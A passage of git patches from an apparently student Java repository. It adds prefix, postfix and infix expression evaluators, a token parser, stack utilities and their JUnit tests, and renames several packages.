+    private Float calculator(Float num1, Float num2, String op) {
+        Float res = 0.0f;
+
+        if ("*".equals(op)) {
+            res = num1 * num2;
+        } else if ("/".equals(op)) {
+            res = num1 / num2;
+        } else if ("-".equals(op)) {
+            res = num1 - num2;
+        } else if ("+".equals(op)) {
+            res = num1 + num2;
+        } else {
+            System.out.println("opt is not  support...");
+        }
+
+        return res;
+    }
+
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExprTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..4f61074c6e
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExprTest.java
@@ -0,0 +1,39 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+    public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExpr.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExpr.java
new file mode 100644
index 0000000000..cf9206df6d
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExpr.java
@@ -0,0 +1,68 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import org.apache.commons.lang3.StringUtils;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    /**
+     * 从右至左扫描表达式，遇到数字时，将数字压入堆栈，遇到运算符时，弹出栈顶的两个数，用运算符对它们做相应的计算（栈顶元素 op 次顶元素），
+     * 并将结果入栈；重复上述过程直到表达式最左端，最后运算得出的值即为表达式的结果。
+     * 例如前缀表达式“- × + 3 4 5 6”：
+     * (1) 从右至左扫描，将6、5、4、3压入堆栈；
+     * (2) 遇到+运算符，因此弹出3和4（3为栈顶元素，4为次顶元素，注意与后缀表达式做比较），计算出3+4的值，得7，再将7入栈；
+     * (3) 接下来是×运算符，因此弹出7和5，计算出7×5=35，将35入栈；
+     * (4) 最后是-运算符，计算出35-6的值，即29，由此得出最终结果。
+     * 可以看出，用计算机计算前缀表达式的值是很容易的。
+     *
+     * @return
+     */
+    public float evaluate() {
+        float result = 0;
+        TokenParser parser = new TokenParser();
+        List<Token> tokens = parser.parse(expr);
+        Stack<String> optStack = new Stack<>();
+        Stack<Float> numStack = new Stack<>();
+        for (int i = tokens.size() - 1; i >= 0; i--) {
+            Token token = tokens.get(i);
+            if (token.isNumber()) {
+                numStack.push(Float.parseFloat(token.value));
+            } else if (token.isOperator()) {
+                Float num1 = numStack.pop();
+                Float num2 = numStack.pop();
+                Float sum = calculator(num1, num2, token.value);
+                numStack.push(sum);
+            }
+        }
+
+
+        return numStack.pop();
+    }
+
+    private Float calculator(Float num1, Float num2, String op) {
+        Float res = 0.0f;
+
+        if ("*".equals(op)) {
+            res = num1 * num2;
+        } else if ("/".equals(op)) {
+            res = num1 / num2;
+        } else if ("-".equals(op)) {
+            res = num1 - num2;
+        } else if ("+".equals(op)) {
+            res = num1 + num2;
+        } else {
+            System.out.println("opt is not  support...");
+        }
+
+        return res;
+    }
+
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExprTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..59dad95f20
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.dudy.learn01.data_structure.queue.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+    public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/Token.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/Token.java
new file mode 100644
index 0000000000..b3bbbdfc28
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/Token.java
@@ -0,0 +1,49 @@
+package com.dudy.learn01.data_structure.queue.expr;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParser.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParser.java
new file mode 100644
index 0000000000..4af3564656
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParser.java
@@ -0,0 +1,56 @@
+package com.dudy.learn01.data_structure.queue.expr;
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParserTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParserTest.java
new file mode 100644
index 0000000000..8943545b7a
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParserTest.java
@@ -0,0 +1,38 @@
+package com.dudy.learn01.data_structure.queue.expr;
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyStack.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/MyStack.java
similarity index 81%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyStack.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/MyStack.java
index e59c366e0a..e44ef3d40d 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyStack.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/MyStack.java
@@ -1,4 +1,7 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.stack;
+
+import com.dudy.learn01.data_structure.list.MyArrayList;
+
 public class MyStack {
 	private MyArrayList elementData = new MyArrayList();
 	
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtil.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtil.java
new file mode 100644
index 0000000000..8d1b6c8f64
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtil.java
@@ -0,0 +1,120 @@
+package com.dudy.learn01.data_structure.stack;
+
+import java.util.Collections;
+import java.util.Stack;
+
+public class StackUtil {
+	
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack<Integer> s) {
+		
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		
+		//Collections.reverse(s);
+		Stack<Integer> stack = new Stack<>();
+		while(!s.isEmpty()){
+			stack.push(s.pop());
+		}
+		System.out.println(stack.toString());
+		while(!stack.isEmpty()){
+			Integer pop = stack.pop();
+			addToBottom(s,pop);
+		}
+		
+		
+	}
+	
+	private static void addToBottom(Stack<Integer> s, Integer pop) {
+		// TODO Auto-generated method stub
+		if(s.isEmpty()){
+			s.push(pop);
+		} else {
+			Integer temp = s.pop();
+			addToBottom(s, pop);
+			s.push(temp);
+		}
+		
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack<Integer> s,Integer o) {
+		if(s == null || s.isEmpty() ){
+			return;
+		}
+		
+		Stack<Integer> tempStack = new Stack<>();
+		while(!s.isEmpty()){
+			Integer value = s.pop();
+			if(o.equals(value)){
+				break;
+			}
+			tempStack.push(value);
+		}
+		
+		while(!tempStack.isEmpty()){
+			s.push(tempStack.pop());
+		}
+		
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Integer[] getTop(Stack<Integer> s,int len) {
+		Integer[] o = new Integer[len];
+		for (int i = 0; i < o.length; i++) {
+			o[i] = s.pop();
+		}
+		
+		for (int i = o.length-1; i >= 0; i--) {
+			s.push(o[i]);
+		}
+		
+		return o;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		char[] c = s.toCharArray();
+
+		Stack<Character> stack = new Stack();
+		for (int i = 0; i< c.length; i++){
+			char c1 = c[i];
+			if (c1 == '(' || c1 == '[' || c1 == '{'){
+				stack.push(c1);
+			}
+
+			if (!stack.isEmpty()){
+				if ( (c1 == ')' && stack.peek() == '(')
+						|| (c1 == ']' && stack.peek() == '[')
+						|| (c1 == '}' && stack.peek() == '{' )){
+					stack.pop();
+				}
+			}
+		}
+
+		return stack.isEmpty();
+	}
+	
+	
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtilTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtilTest.java
new file mode 100644
index 0000000000..d819853f98
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtilTest.java
@@ -0,0 +1,64 @@
+package com.dudy.learn01.data_structure.stack;
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyBinaryTree.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/tree/MyBinaryTree.java
similarity index 96%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyBinaryTree.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/tree/MyBinaryTree.java
index cfc06bc0d2..88fbd9fc26 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/MyBinaryTree.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/tree/MyBinaryTree.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.tree;
 
 public class MyBinaryTree {
 
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/struts.xml b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/struts.xml
deleted file mode 100755
index 4c6eeabbd4..0000000000
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyArrayListTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyArrayListTest.java
similarity index 87%
rename from group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyArrayListTest.java
rename to group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyArrayListTest.java
index 5c6edd8fec..a18c00ecd8 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyArrayListTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyArrayListTest.java
@@ -1,5 +1,7 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.base;
 
+import com.dudy.learn01.data_structure.MyIterator;
+import com.dudy.learn01.data_structure.list.MyArrayList;
 import org.junit.Test;
 
 import java.util.ArrayList;
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyArrayUtilTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyArrayUtilTest.java
similarity index 95%
rename from group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyArrayUtilTest.java
rename to group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyArrayUtilTest.java
index 25fd306dc9..993d0df8e2 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyArrayUtilTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyArrayUtilTest.java
@@ -1,5 +1,6 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.base;
 
+import com.dudy.learn01.data_structure.array.MyArrayUtil;
 import org.junit.Test;
 
 /**
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyBinaryTreeTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyBinaryTreeTest.java
similarity index 84%
rename from group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyBinaryTreeTest.java
rename to group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyBinaryTreeTest.java
index 65bee44580..27d533d5a8 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyBinaryTreeTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyBinaryTreeTest.java
@@ -1,9 +1,8 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.base;
 
+import com.dudy.learn01.data_structure.tree.MyBinaryTree;
 import org.junit.Test;
 
-import static org.junit.Assert.*;
-
 /**
  * Created by dudy on 2017/2/21.
  */
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyLinkedListTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyLinkedListTest.java
similarity index 94%
rename from group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyLinkedListTest.java
rename to group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyLinkedListTest.java
index cce7a1c163..ff0b6e0cb0 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyLinkedListTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyLinkedListTest.java
@@ -1,7 +1,9 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.base;
 
 import java.util.LinkedList;
 
+import com.dudy.learn01.data_structure.MyIterator;
+import com.dudy.learn01.data_structure.list.MyLinkedList;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyQueueTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyQueueTest.java
similarity index 79%
rename from group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyQueueTest.java
rename to group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyQueueTest.java
index de8d683abe..2f3116eb63 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyQueueTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyQueueTest.java
@@ -1,9 +1,8 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.base;
 
+import com.dudy.learn01.data_structure.queue.MyQueue;
 import org.junit.Test;
 
-import static org.junit.Assert.*;
-
 /**
  * Created by dudy on 2017/2/20.
  */
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyStackTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyStackTest.java
similarity index 90%
rename from group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyStackTest.java
rename to group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyStackTest.java
index 51175953b0..848180b498 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/base/MyStackTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/data_structure/base/MyStackTest.java
@@ -1,11 +1,10 @@
-package com.dudy.learn01.base;
+package com.dudy.learn01.data_structure.base;
 
+import com.dudy.learn01.data_structure.stack.MyStack;
 import org.junit.Test;
 
 import java.util.Stack;
 
-import static org.junit.Assert.*;
-
 /**
  * Created by dudy on 2017/2/20.
  */
diff --git a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/download/FileDownloaderTest.java b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/download/FileDownloaderTest.java
index fc427e2171..7e9fe3b54b 100644
--- a/group04/1796244932/learn01/src/test/java/com/dudy/learn01/download/FileDownloaderTest.java
+++ b/group04/1796244932/learn01/src/test/java/com/dudy/learn01/download/FileDownloaderTest.java
@@ -1,8 +1,10 @@
 package com.dudy.learn01.download;
 
-import com.dudy.learn01.download.api.ConnectionManager;
-import com.dudy.learn01.download.api.DownloadListener;
-import com.dudy.learn01.download.impl.ConnectionManagerImpl;
+
+import com.dudy.learn01.coderising.download.FileDownloader;
+import com.dudy.learn01.coderising.download.api.ConnectionManager;
+import com.dudy.learn01.coderising.download.api.DownloadListener;
+import com.dudy.learn01.coderising.download.impl.ConnectionManagerImpl;
 import org.junit.Test;
 
 

From 38cdfd1a962c2c8c90cd6998ff7c30353453adf4 Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Sun, 7 May 2017 18:24:09 +0800
Subject: [PATCH 216/262] InfixExpr&&PrefixExpr&&PostfixExpr&&InfixToPostfix

---
 .../coding/basic/stack/expr/InfixExpr.java    | 91 +++++++------------
 .../basic/stack/expr/InfixToPostfix.java      | 37 ++++++++
 .../coding/basic/stack/expr/MyInfixExpr.java  | 75 +++++++++++++++
 .../coding/basic/stack/expr/PostfixExpr.java  | 32 +++++++
 .../coding/basic/stack/expr/PrefixExpr.java   | 38 ++++++++
 5 files changed, 214 insertions(+), 59 deletions(-)
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/expr/InfixToPostfix.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/expr/MyInfixExpr.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/expr/PostfixExpr.java
 create mode 100644 group04/1299310140/src/com/coding/basic/stack/expr/PrefixExpr.java

diff --git a/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java b/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java
index e0d6af6a21..08ade05557 100644
--- a/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/group04/1299310140/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -1,75 +1,48 @@
 package com.coding.basic.stack.expr;
 
+import java.util.List;
 import java.util.Stack;
 
 public class InfixExpr {
-	//操作数为整数，操作符只支持+、-、*、/，/的返回值为float类型
-	private String expr = "";
-	private char[] sc = null;
-	private int pos = 0;
+	String expr = null;
 	
 	public InfixExpr(String expr) {
 		this.expr = expr;
-		this.sc = expr.toCharArray();
-	}
-	
-	//下一个操作数
-	private int nextOperand(){
-		int result = sc[pos] - 48;//char:'0'-->int:0
-		pos++;
-		while(pos < sc.length && sc[pos] >= '0' && sc[pos] <= '9'){
-			result = result * 10 + (sc[pos] - 48);
-			pos++;
-		}
-		return result;
-	}
-	
-	//下一个操作符
-	private char nextOperator(){
-		return sc[pos++];
 	}
 
-	public float evaluate() {		
-		Stack<Number> stack = this.multiplyDivide();
-		float result = add(stack);
-		return result;
-	}
-	
-	//将栈内所有操作数相加
-	private float add(Stack<Number> stack){
-		if(stack == null || stack.isEmpty()){
-			return 0;
-		}
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> expr_LToken = parser.parse(this.expr);
 		
-		float result = 0;
-		while(!stack.isEmpty()){
-			result = result + (float)stack.pop();
-		}
-		return result;
-	}
-	
-	//操作数入栈，完成乘除运算，'-'随数入栈
-	private Stack<Number> multiplyDivide(){
-		Stack<Number> operandStack = new Stack<Number>();
-		operandStack.push((float)this.nextOperand());
-		int tempOperand = 0;
-		char tempOperator = 0;
-		while(pos < sc.length){
-			tempOperator = this.nextOperator();
-			tempOperand = this.nextOperand();
-			if(tempOperator == '+'){
-				operandStack.push((float)tempOperand);
-			}else if(tempOperator == '-'){
-				operandStack.push((float)(- tempOperand));
-			}else if(tempOperator == '*'){
-				float top = (float)operandStack.pop();
-				operandStack.push(top * tempOperand);
-			}else if(tempOperator == '/'){
-				float top = (float)operandStack.pop();
-				operandStack.push(top / tempOperand);
+		Stack<Float> operandStack_SF = new Stack<Float>();
+		Stack<Token> operatorStack_SToken = new Stack<Token>();
+		for(Token token : expr_LToken){
+			if(token.isNumber()){
+				operandStack_SF.push(new Float(token.getIntValue()));
+			}else{
+				while(!operatorStack_SToken.isEmpty() && 
+						!token.hasHigherPriority(operatorStack_SToken.peek())){
+					//运算符栈不为空 且 当前运算符的优先级 小于等于 栈顶运算符的优先级
+					Float f2 = operandStack_SF.pop();
+					Float f1 = operandStack_SF.pop();
+					String operator = operatorStack_SToken.pop().toString();
+					Float result = CalculateUtil.calculate(operator, f1, f2);
+					operandStack_SF.push(result);
+				}
+				operatorStack_SToken.push(token);
 			}
 		}
 		
-		return operandStack;
+		//此时运算符栈 栈底到栈顶 运算符的优先级 严格递增
+		while(!operatorStack_SToken.isEmpty()){
+			Float f2 = operandStack_SF.pop();
+			Float f1 = operandStack_SF.pop();
+			String operator = operatorStack_SToken.pop().toString();
+			Float result = CalculateUtil.calculate(operator, f1, f2);
+			operandStack_SF.push(result);
+		}
+		return operandStack_SF.pop().floatValue();
 	}
+	
+	
 }
diff --git a/group04/1299310140/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group04/1299310140/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..e3c8ddc1d4
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,37 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		TokenParser parser = new TokenParser();
+		List<Token> infixExpr_LToken = parser.parse(expr);
+		
+		List<Token> postfixExpr_LToken = new ArrayList<Token>();
+		Stack<Token> operatorStack_SToken = new Stack<Token>();
+		for(Token token : infixExpr_LToken){
+			if(token.isNumber()){
+				postfixExpr_LToken.add(token);
+			}else{
+				while(!operatorStack_SToken.isEmpty() && 
+						!token.hasHigherPriority(operatorStack_SToken.peek())){
+					//运算符栈不为空 且 当前运算符的优先级 小于等于 栈顶运算符的优先级
+					postfixExpr_LToken.add(operatorStack_SToken.pop());
+				}
+				operatorStack_SToken.push(token);
+			}
+		}
+		
+		//此时运算符栈 栈底到栈顶 运算符的优先级 严格递增
+		while(!operatorStack_SToken.isEmpty()){
+			postfixExpr_LToken.add(operatorStack_SToken.pop());
+		}
+		return postfixExpr_LToken;
+	}
+	
+	
+
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/expr/MyInfixExpr.java b/group04/1299310140/src/com/coding/basic/stack/expr/MyInfixExpr.java
new file mode 100644
